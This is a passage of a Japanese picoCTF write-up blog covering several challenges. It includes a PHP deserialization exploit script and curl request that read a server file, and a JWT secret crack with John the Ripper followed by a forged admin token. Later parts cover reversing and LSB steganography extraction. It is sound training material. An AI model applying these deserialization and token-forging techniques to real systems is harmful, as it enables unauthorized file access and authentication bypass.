この挙動を利用すれば__toString()メソッドで../flagの中身を読み出して、die()で表示できそうである。

以下の流れでフラグを読み取ることができると思われる。

  1. 引数に../flagと指定してaccess_logクラスのオブジェクトを生成する。
  2. 生成したオブジェクトをシリアライズしてloginクッキーにセットし、サーバーへリクエストを送る。
  3. すると、アプリケーション内部で__toString()メソッドが呼び出されて../flagの中身が読み出され、die()によってファイルの内容が表示される。。はず

以下のPHPスクリプトを作成して、攻撃のためのペイロードを生成した。

<?php
class access_log
{
        public $log_file;

        function __construct($lf) {
                $this->log_file = $lf;
        }

        function __toString() {
                return $this->read_log();
        }

        function append_to_log($data) {
                file_put_contents($this->log_file, $data, FILE_APPEND);
        }

        function read_log() {
                return file_get_contents($this->log_file);
        }
}

$flag = new access_log('../flag');
$mycookie = urlencode(base64_encode(serialize($flag)));
print($mycookie);

?>

上記のスクリプトを実行したところ、TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9という値が生成された。(ちなみにこの値をデコードするとO:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}となる)

$ php exploit.php 
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
$ echo -n TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9 | base64 -d
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}

生成された値をloginクッキーにセットしてauthentication.phpへリクエストを送ったところ、フラグを取れた。

$ curl -i http://mercury.picoctf.net:2148/authentication.php -H "Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=j5ipbaj7p7fjj2t2c9potsc9ge; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8

Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_<REDACTED>}

JaWT Scratchpad (400points)

Webサイトhttp://jupiter.challenges.picoctf.org:63090 (またはhttps://jupiter.challenges.picoctf.org/problem/63090/)にadminとしてアクセスしてフラグを取得する問題。

以下はサイトのソースコードである。

<!doctype html>
<html>

	<title> JaWT - an online scratchpad </title>
	<link rel="stylesheet" href="/static/css/stylesheet.css">
	<body>
		<header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header>
		
		<div id="main">
		
			<article>
				<h1>Welcome to JaWT!</h1>

				<p>
					JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b>
				</p>
				
				
				
					<p>
						You will need to log in to access the JaWT scratchpad. You can use any name, other than <code>admin</code>... because the <code>admin</code> user gets a special scratchpad!
					</p>
					<br>
					<form action="#" method="POST">
						<input type="text" name="user" id="name">
					</form>
					<br>

				

				<h2> Register with your name! </h2>

				<p>
					You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!
				</p>

			</article>
			<nav></nav>
			<aside></aside>
				
		</div>
		<script> window.onload = function() { document.getElementById("name").focus(); }; </script>
	</body> 
</html>

ページ内にJWT(JSON web tokens)John The Ripperへの意味深なリンクが貼られていた。

試しにサイトの入力フォームにadminと入力して送信したところ、YOU CANNOT LOGIN AS THE ADMIN! HE IS SPECIAL AND YOU ARE NOT.というエラーメッセージが表示された。

入力フォームに適当なユーザー名を指定してサーバーの応答を観察してみた。

$ curl -i https://jupiter.challenges.picoctf.org/problem/63090/ -d "user=hoge"
HTTP/1.1 302 FOUND
Server: nginx
Date: Fri, 01 Sep 2023 13:47:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 209
Connection: keep-alive
Location: https://jupiter.challenges.picoctf.org/
Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaG9nZSJ9.jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8; Path=/
Strict-Transport-Security: max-age=0

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.

Set-CookieヘッダーにBase64エンコードされた認証用のトークンが含まれていたので、デコードしてみた。

$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 | base64 -d
{"typ":"JWT","alg":"HS256"}
$ echo eyJ1c2VyIjoiaG9nZSJ9 | base64 -d
{"user":"hoge"}

どうやらJWT(JSON web tokens)を利用している模様。

JWTの構成は以下の通り。

[ヘッダー].[ペイロード].[署名]

上の例だと、eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9{"typ":"JWT","alg":"HS256"})がヘッダー、eyJ1c2VyIjoiaG9nZSJ9{"user":"hoge"})がペイロード、jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8が署名に該当する。

以前の問題のようにuserパラメータをadminに変更し、algパラメータにnoneと指定してトークンを生成し、jwtクッキーにセットしてリクエストを送ってみたが500 INTERNAL SERVER ERRORが返ってきた。

先述したようにサイトにはJohn The Ripperへの意味深なリンクが貼られていた。

You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!

恐らくJohn The Ripperを使ってJWTの署名に使用された鍵を特定しろということだと思われる。

John The Ripperをインストールして鍵をクラックすることにした。

最初、sudo apt-get install johnでインストールしたのだが、パッケージ版のJohn The RipperはSHA256アルゴリズムをサポートしていないようだった。

結局、GitHubのレポジトリをクローンしてソースからインストールすることにした。

インストールガイドに従い、以下のコマンドでインストールした。

sudo apt-get -y install yasm pkg-config libgmp-dev libpcap-dev libbz2-dev

sudo apt-get -y install yasm pkg-config libgmp-dev libpcap-dev libbz2-dev

git clone https://github.com/openwall/john

cd john/src

./configure && make -s clean && make -sj4

続いて、辞書攻撃で定番のrockyou.txtをネットから適当に拾ってきた。

クラック対象のJWTトークンをcookie.txtに保存。

$ cat cookie.txt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaG9nZSJ9.jPeEFVGfU1aydlbHnfLgUuLEH_2pydCpAQfUdL-SeA8

以下のコマンドでJWTトークンの署名鍵をクラックした。

cd john/run

./john /path/to/cookie.txt --wordlist=/path/to/rockyou.txt --format=HMAC-SHA256

署名鍵はilovepicoと判明した。

$ ./john /path/to/cookie.txt --wordlist=/path/to/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
ilovepico        (?)
1g 0:00:00:01 DONE (2023-09-02 11:50) 0g/s 4091Kp/s 4091Kc/s 4091KC/s inZtinX..ilovejesus71
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

CyberChefのJWT Sign を利用して以下のペイロードを署名した。(Signing algorithmにHS256、Private/Secret keyにilovepicoと指定)

{"user":"admin"}

以下が生成されたトークンである。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTM1Nzk0NTR9.TVr9EudCLBuewjQD0spuuuB-rCkCBVcJMr8x4M1pQ30

上記のトークンをjwtクッキーにセットしてリクエストを送ったところ、フラグを取れた。

$ curl -i http://jupiter.challenges.picoctf.org:63090/ -H "Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTM1Nzk0NTR9.TVr9EudCLBuewjQD0spuuuB-rCkCBVcJMr8x4M1pQ30"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1291

<!doctype html>
<html>

        <title> JaWT - an online scratchpad </title>
        <link rel="stylesheet" href="/static/css/stylesheet.css">
        <body>
                <header><h1>JaWT</h1> <br> <i><small>powered by <a href="https://jwt.io/">JWT</a></small></i></header>

                <div id="main">

                        <article>
                                <h1>Welcome to JaWT!</h1>

                                <p>
                                        JaWT is an online scratchpad, where you can "jot" down whatever you'd like! Consider it a notebook for your thoughts. <b style="color:blue "> JaWT works best in Google Chrome for some reason. </b>
                                </p>



                                        <h2> Hello admin!</h2>
                                        <p>
                                                Here is your JaWT scratchpad!
                                        </p>
                                        <textarea style="margin: 0 auto; display: block;">picoCTF{jawt_was_just_what_you_thought_<REDACTED>}</textarea>
                                        <br>

                                                <a href="/logout"><input style="width:100px" type="submit" value="Logout"></a>



                                <h2> Register with your name! </h2>

                                <p>
                                        You can use your name as a log in, because that's quick and easy to remember! If you don't like your name, use a short and cool one like <a href="https://github.com/magnumripper/JohnTheRipper">John</a>!
                                </p>

                        </article>
                        <nav></nav>
                        <aside></aside>

                </div>
                <script> window.onload = function() { document.getElementById("name").focus(); }; </script>
        </body>
</html>

1_wanna_b3_a_r0ck5tar (350points)

Rockstar言語で書かれたlyrics.txtを解析してフラグを取得する問題。

以下はlyrics.txtの内容。

Rocknroll is right              
Silence is wrong                
A guitar is a six-string        
Tommy's been down               
Music is a billboard-burning razzmatazz!
Listen to the music             
If the music is a guitar                  
Say "Keep on rocking!"                
Listen to the rhythm
If the rhythm without Music is nothing
Tommy is rockin guitar
Shout Tommy!                    
Music is amazing sensation 
Jamming is awesome presence
Scream Music!                   
Scream Jamming!                 
Tommy is playing rock           
Scream Tommy!       
They are dazzled audiences                  
Shout it!
Rock is electric heaven                     
Scream it!
Tommy is jukebox god            
Say it!                                     
Break it down
Shout "Bring on the rock!"
Else Whisper "That ain't it, Chief"                 
Break it down 

問題文にRockstarのオンラインデコーダーへのWayback Machineのリンクが貼られていたが、動作しなかったのでrockstar-pyをインストールした。

python3 -m venv my_venv
source my_venv/bin/activate
pip install rockstar-py

以下のコマンドでlyrics.txtをデコードして、結果をdecoded.txtに保存した。

rockstar-py -i lyrics.txt -o decoded.txt

以下はdecoded.txtの内容。

Rocknroll = True
Silence = False
a_guitar = 10
Tommy = 44
Music = 170
the_music = input()
if the_music == a_guitar:
    print("Keep on rocking!")
    the_rhythm = input()
    if the_rhythm - Music == False:
        Tommy = 66
        print(Tommy!)
        Music = 79
        Jamming = 78
        print(Music!)
        print(Jamming!)
        Tommy = 74
        print(Tommy!)
        They are dazzled audiences
        print(it!)
        Rock = 86
        print(it!)
        Tommy = 73
        print(it!)
        break
        print("Bring on the rock!")
        Else print("That ain't it, Chief")
        break

前回の問題と同様、10進数をasciiコードにデコードしたところ、BONJVIという文字列が現れた。

>>> chr(66) + chr(79) + chr(78) + chr(74) + chr(86) + chr(73)
'BONJVI'

しかし、BONJVIは正しいフラグではなかった。

BONJVIって、もしかしてBon Joviのこと?と思いつき、BONJVIBONJOVIに直したところ、無事フラグを送信できた。

Investigative Reversing 0 (300points)

64ビット ELFファイルmysteryとPNG画像ファイルmystery.pngを解析してフラグを取得する問題。

mystery.pngを調べてみると、ファイルの末尾にフラグらしき文字列を発見した。

$ xxd mystery.png | tail
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8270 6963 6f43 544b 806b 357a 7369  B`.picoCTK.k5zsi
0001e880: 6436 715f 6662 3531 6338 3231 7d         d6q_fb51c821}

続いてmysteryをIDAで眺めたところ、このファイルはflag.txtからフラグを読み込んでmystery.pngに書き込むことが判明した。

ただし、フラグはそのまま書き込まれるのではなく、以下の処理が施された上でmystery.pngに書き込まれる。

  • フラグの(0から数えて)6から14バイトまでの値に対してはadd 5 (5を加算)する。
  • フラグの(0から数えて)15バイト目の値に対してはsub 3 (3を減算)する。

以下は該当箇所のコードである。

よってフラグを復元するには以下の処理を施せば良い。

  • フラグの(0から数えて)6から14バイトまでの値に対してはsub 5 (5を減算)する。
  • フラグの(0から数えて)15バイト目の値に対してはadd 3 (3を加算)する。

以下のPythonスクリプトを書いてフラグを取得した。

import binascii

mangled_flag = '7069636f43544b806b357a73696436715f66623531633832317d'
mangled_flag = bytearray(binascii.unhexlify(mangled_flag))
decrypted_flag = bytearray(len(mangled_flag))

for i in range(0, len(mangled_flag)):
    if (6 <= i <= 14):
        decrypted_flag[i] = mangled_flag[i] - 5
    elif (14 < i <= 15):
        decrypted_flag[i] = mangled_flag[i] + 3
    else:
        decrypted_flag[i] = mangled_flag[i]
    
print(decrypted_flag)
$ python3 decryptor.py
bytearray(b'picoCTF{f0und_1t_<REDACTED>}')

Investigative Reversing 1 (350points)

64ビット ELFファイルmysteryとPNG画像ファイルmystery.pngmystery2.pngmystery3.pngを解析してフラグを取得する問題。

3つのPNG画像ファイルを調べたところ、それぞれのファイルの末尾にフラグらしきデータを発見した。

$ xxd mystery.png | tail
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8243 467b 416e 315f 3961 3437 3134  B`.CF{An1_9a4714
0001e880: 317d 60                                  1}`
$ xxd mystery2.png | tail
0001e7e0: 2108 8220 0882 2008 8220 0842 f621 2311  !.. .. .. .B.!#.
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8285 73                             B`..s
$ xxd mystery3.png | tail
0001e7e0: 2108 8220 0882 2008 8220 0842 f621 2311  !.. .. .. .B.!#.
0001e7f0: 8220 0882 2008 8220 0882 2064 1f32 1221  . .. .. .. d.2.!
0001e800: 0882 2008 8220 0882 2008 42f6 2123 1182  .. .. .. .B.!#..
0001e810: 2008 8220 0882 2008 8220 641f 3212 2108   .. .. .. d.2.!.
0001e820: 8220 0882 2008 8220 0842 f621 2311 8220  . .. .. .B.!#..
0001e830: 0882 2008 8220 0882 2064 1f32 1221 0882  .. .. .. d.2.!..
0001e840: 2008 8220 0882 2008 42f6 2123 1182 2008   .. .. .B.!#.. .
0001e850: 8220 0882 2008 8220 6417 ffef fffd 7f5e  . .. .. d......^
0001e860: ed5a 9d38 d01f 5600 0000 0049 454e 44ae  .Z.8..V....IEND.
0001e870: 4260 8269 6354 3074 6861 5f              B`.icT0tha_

続いてmysteryをIDAで眺めたところ、このファイルはflag.txtからフラグを読み込み、フラグの順番を入れ替えた上でmystery.pngmystery2.pngmystery3.pngに分割して書き込むことが判明した。

上記のコードによると

  • フラグのオフセット 4 の値がmystery.pngに書き込まれる。
  • フラグのオフセット 1の値がmystery2.pngに書き込まれる。
  • フラグのオフセット 0、2、3、の値がmystery3.pngに書き込まれる。

ほかにもadd eax, 7mov [rbp+var_63], 2Ahshr dl, 7sar al, 1などの気になる処理があったが、よく分からなかったのでスルー。

上記のコードによると

  • フラグのオフセット 6 ~ 9の値がmystery.pngに書き込まれる。
  • フラグのオフセット 10の値がmystery2.pngに書き込まれる。

途中で挟まっているadd eax 1が何のための処理なのか分からなかった。。。

上記のコードによると

  • フラグのオフセット 10 ~ 14の値がmystery3.pngに書き込まれる。

上記のコードによると

  • フラグのオフセット 15 ~ 25の値がmystery.pngに書き込まれる。

上記のフラグの書き込み順に従って、各PNGファイルのフラグの値に本来のオフセットを割り当ててみた。

mystery.png

フラグの値 (16進数)43467b416e315f396134373134317d60
本来のオフセット467891516171819202122232425

mystery2.png

フラグの値 (16進数)8573
本来のオフセット110

mystery3.png

フラグの値 (16進数)696354307468615f
本来のオフセット0231011121314

上記の対応表に従って、フラグを本来の順番に並べ替えてみた。

69 85 63 54 43 ** 46 7b 41 6e 30 74 68 61 5f 31 5f 39 61 34 37 31 34 31 7d 60

並べ替えてから気づいたのだが、オフセット5の値が抜けている。。。
単に自分が見落としているだけだと思うが (冒頭でスルーした処理が関係している?)、とりあえず上記のフラグをHexデコードしてみた。(オフセット5には、とりあえず00と入れた。)

$ echo '69 85 63 54 43 00 46 7b 41 6e 30 74 68 61 5f 31 5f 39 61 34 37 31 34 31 7d 60' | xxd -r -p
i�cTCF{An0tha_1_9a47141}`

冒頭数バイトがデコードされなかった。。

が、デコードされなかった部分をpicoCTFに直したところ、フラグが通った。

復号処理を完璧に解読できたわけではないが、とりあえず解けたので、まあ良し。

Investigative Reversing 2 (350points)

64ビット ELFファイルmysteryとビットマップ画像ファイルencoded.bmpを解析してフラグを取得する問題。

mysteryを軽く調べてみたところ、このファイルはoriginal.bmpというビットマップ画像ファイルの内容をencoded.bmpというファイルに書き込み、flag.txtから読み込んだフラグをencoded.bmpに埋め込むことが判明した。

もう少し詳しく解析してみた。

まず、mysteryoriginal.bmpの内容をencoded.bmpに書き込む。先頭1999バイトまでの内容がencoded.bmpに書き込まれたら、flag.txtからフラグを読み込んで、先頭2000バイト以降にフラグを書き込んでいく。しかし、フラグをそのまま書き込んでいくわけではなく、以下に示すようにcodedCharという関数でフラグをこねくり回した上でencoded.bmpに書き込む。

しかし、このcodedCharがどういう処理をしているのかイマイチ分からなかったため、ヒントを見てた。

以下、ヒント。

Try using some forensics skills on the image

This problem requires both forensics and reversing skills

What is LSB encoding?

どうやらcodedCharLSBエンコーディングをするための関数らしい。

エンコーディング処理の詳細を知るためにダミーのflag.txtoriginal.bmpおよびencoded.bmp (空ファイル)を用意して動的解析してみた。(ちなみにmysteryはPIEが有効化されている。PIEが有効化されているELFファイルをデバッグする方法については、こちらの記事を参照。)

結果、以下のことが判明した。

  1. flag.txtからフラグを1バイト読み込む。
  2. 読み込んだフラグから5を減算し、(sub 5) codedCharに渡す。
  3. codedCharは戻り値として下位1ビットを返す。
  4. 返されたビットをencoded.bmpの最下位ビットに書き込む。
  5. 8ビットすべてがencoded.bmpに書き込まれたら、flag.txtから次の1バイトを読み込んで、同様の処理を行う。

上記の処理をもう少し具体的に解説してみる。

  1. flag.txtからフラグを1バイト読み込む。この時、pという文字が読み込まれたとする。pを2進数で表すと01110000、10進数で表すと112となる。
  2. pから5が減算される。するとpkに変化する。kを2進数で表すと01101011、10進数で表すと107となる。
  3. codedCharは戻り値としてkの下位1ビットを返す。
  4. 返されたビットをencoded.bmpの最下位ビットに書き込む。
  5. k (01101011) の8ビットすべてがencoded.bmpに書き込まれたら、flag.txtから次の1バイトを読み込んで、同様の処理を行う。

以上を踏まえたうえで、改めてencoded.bmpの2000バイト以降のデータを眺めてみた。

それぞれの最下位ビットに印をつけてみた。

印をつけたビットを繋げると01101011となる。(11010110ではない点に注意。codedCharはフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため)

01101011をascii文字に直すとkとなる。

>>> chr(int('01101011', 2))
'k'

さらにkに5を加算すると元のフラグ文字のpが現れる。

>>> chr(int('01101011', 2) + 5)
'p'

よって、以下の手順でencoded.bmpからフラグを復元することができる。

  1. encoded.bmpの2000バイト以降からLSBを8ビットずつ集めて、バイト・データに変換する。
  2. バイト・データに5を加算する。
  3. バイト・データをascii文字に変換する。

以下のスクリプトを作成してフラグを取得した。

'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''

with open("encoded.bmp", "rb") as f:
    f.seek(2000) # skip to offset 2000 which is the beginning of the flag
    file_data = f.read()
    lsb_list = []
    
    for i in file_data:
        lsb_list.append(bin(i)[-1]) # creates a list of lsb
        

for i in range(0,500,8):
    #print(lsb_list[i:i+8])
    #print(lsb_list[i:i+8][::-1])
    '''
    1. grab 8 bits from the list
    2. reverse the bits ([::-1])
    3. add 5 and convert it to ascii
    '''
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2) + 5), end='')
$ python3 flag-extractor.py
picoCTF{n3xt_0n30000000000000000000000000<REDACTED>}

Investigative Reversing 3 (400points)

64ビット ELFファイルmysteryとビットマップ画像ファイルencoded.bmpを解析してフラグを取得する問題。

mysteryを調べたところ、このファイルはoriginal.bmpの内容をencoded.bmpに書き込み、encoded.bmpのオフセット723以降にflag.txtから読み込まれたフラグを書き込んでいくことが判明した。

さらに解析を続けたところ、Investigative Reversing 2の時と同様にcodedCharという関数を発見した。

よって、今回もLSBエンコーディングを使用してencoded.bmpにフラグを隠している可能性が高い。

引き続きIDAで解析を続けたところ、以下の気になる分岐命令を発見した。

上記のコードは[rpb+flag_offset]に格納されている値が偶数の場合は、先述したcodedCharに遷移してフラグ文字にLSBエンコーディングを施し、奇数の場合は下記の命令コードにジャンプしてoriginal.bmpから値を1バイト読み込んで、encoded.bmpにそのまま書き込む。

これはどういうことかと言うと、フラグを8ビット、encoded.bmpの最下位ビットに書き込んだら、1バイト 間を置いて、次のフラグ8ビットをencoded.bmpの最下位ビットに書き込んでいくということである。

分かりやすいようにencoded.bmpのオフセット723以降の最下位ビットに印をつけてみた。

赤で印をつけたビットを8ビットずつ繋げていくと、以下のようにフラグが現れた。

>>> chr(int('01110000', 2))
'p'
>>> chr(int('01101001', 2))
'i'
>>> chr(int('01100011', 2))
'c'
>>> chr(int('01101111', 2))
'o'
>>> chr(int('01000011', 2))
'C'

※ビットを繋げる際は、先頭のビットからではなく後ろのビットから繋げていく点に注意。codedCharはフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため。なので、例えば最初の8ビットを繋げると、00001110ではなく01110000となる。

以下のスクリプトを作成してフラグを取得した。

'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''

with open("encoded.bmp", "rb") as f:
    f.seek(723) # skip to offset 723 which is the beginning of the flag
    file_data = f.read()
    lsb_list = []

    c = 0
    
    for i in file_data:
        if (c == 0):
            lsb_list.append(bin(file_data[c])[-1]) # creates a list of lsb
        elif ((c+1) % 9 != 0):                     # if appended 8 bit, ignore 1 byte and move on to next 8 bit
            lsb_list.append(bin(file_data[c])[-1]) # creates a list of lsb
        c += 1

for i in range(0,500,8):
    #print(lsb_list[i:i+8][::-1])
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')

$ python3 flag-extractor02.py
picoCTF{4n0th3r_L5b_pr0bl3m_0000000000000<REDACTED>}

Investigative Reversing 4 (400points)

64ビット ELFファイルmysteryとビットマップ画像ファイルItem01_cp.bmpItem02_cp.bmpItem03_cp.bmpItem04_cp.bmpItem05_cp.bmpを解析してフラグを取得する問題。

手始めにltraceでmysteryを軽くデバッグしてみた。

$ ltrace ./mystery
fopen("flag.txt", "r")                                                                                                         = 0
puts("No flag found, please make sure "...No flag found, please make sure this is run on the server
)                                                                                    = 58
fread(0x7fffffffde90, 50, 1, 0 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

flag.txtが無いと怒られた。

どうやらmysteryflag.txtからフラグを50バイト読み込む模様。以下は該当のコード。

ダミーのflag.txtを置いて再度ltraceを実行してみた。

$ ltrace ./mystery 
fopen("flag.txt", "r")                                                                                                         = 0x555555757010
fread(0x7fffffffde90, 50, 1, 0x555555757010)                                                                                   = 1
fclose(0x555555757010)                                                                                                         = 0
fopen("Item05.bmp", "r")                                                                                                       = 0
fopen("Item05_cp.bmp", "a")                                                                                                    = 0x555555757010
puts("No output found, please run this"...No output found, please run this on the server
)                                                                                    = 47
exit(0 <no return ...>
+++ exited (status 0) +++

Item05.bmpItem05_cp.bmpというファイルを開こうとしているのが分かる。ディレクトリを確認するとItem05_cp.bmpという空ファイルが作成されていた。

どうやらmysteryItem01.bmpItem02.bmpItem03.bmpItem04.bmpItem05.bmpの内容をItem01_cp.bmpItem02_cp.bmpItem03_cp.bmpItem04_cp.bmpItem05_cp.bmpに書き込み、flag.txtの内容を5つの_cp.bmpに分割して書き込むようである。

またフラグはItem05_cp.bmpItem04_cp.bmpItem03_cp.bmpItem02_cp.bmpItem01_cp.bmpの順番で書き込まれる。

mysteryをIDAで眺めたところ、encodeAllという関数を発見した。

encodeAllを調べてみると、encodeDataInFileという関数が呼び出されていた。

encodeDataInFile_cp.bmpのオフセット2019以降にフラグを書き込んでいく。

また、encodeDataInFileの中ではInvestigative Reversing 2Investigative Reversing 3の時と同様にcodedCharという関数が呼び出されていた。

よって、今回もLSBエンコーディングを使用してフラグを隠している可能性が高い。

引き続きIDAで解析を続けたところ、以下の気になる命令を発見した。

このアセンブリ命令だけではチンプンカンプンだったので、Ghidraでコードをデコンパイルしてみた。

どうやらmysteryは、フラグを8ビット _cp.bmpの最下位ビットに書き込んだら、4バイト 間を置いて、次のフラグ8ビットを_cp.bmpの最下位ビットに書き込んでいくようである。

分かりやすいようにItem05_cp.bmpのオフセット2019以降の最下位ビットに印をつけてみた。

赤で印をつけたビットを8ビットずつ繋げていくと、以下のようにフラグが現れた。

>>> chr(int('01110000', 2))
'p'
>>> chr(int('01101001', 2))
'i'
>>> chr(int('01100011', 2))
'c'
>>> chr(int('01101111', 2))
'o'

※ビットを繋げる際は、先頭のビットからではなく後ろのビットから繋げていく点に注意。codedCharはフラグ文字の上位ビットからではなく、下位ビットから書き込んでいくため。なので、例えば最初の8ビットを繋げると、00001110ではなく01110000となる。

以下のスクリプトを作成してフラグを取得した。

'''
script inspired from https://wiki.bi0s.in/forensics/lsb/
'''

## extract flag from Item05_cp.bmp

with open("Item05_cp.bmp", "rb") as f:
    f.seek(2019) # skip to offset 2019 which is the beginning of the flag
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0): # if appended 8 bit, skip next 4 bytes and move on to next 8 bit
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1


for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
    
## extract flag from Item04_cp.bmp
    
with open("Item04_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')

## extract flag from Item03_cp.bmp

with open("Item03_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
    

## extract flag from Item02_cp.bmp

with open("Item02_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')

## extract flag from Item01_cp.bmp

with open("Item01_cp.bmp", "rb") as f:
    f.seek(2019)
    file_data = f.read()
    lsb_list = []
    

    c = 0
    for i in range(0, 100):
        if (len(lsb_list) != 0 and len(lsb_list) % 8 == 0):
            c += 5
            lsb_list.append(bin(file_data[c-1])[-1])
        else:
            lsb_list.append(bin(file_data[c])[-1])
            c += 1

for i in range(0,100,8):
    print(chr(int(''.join(lsb_list[i:i+8][::-1]), 2)), end='')
$ python3 flag-extractor03.py
picoCTF{N1c3_R3ver51ng_5k1115_00000000000<REDACTED>}

B1g_Mac (500points)

b1g_mac.zipに含まれているファイルを解析してフラグを取得する問題。

b1g_mac.zipの中身は以下の通り。

$ unzip -Z b1g_mac.zip
Archive:  b1g_mac.zip
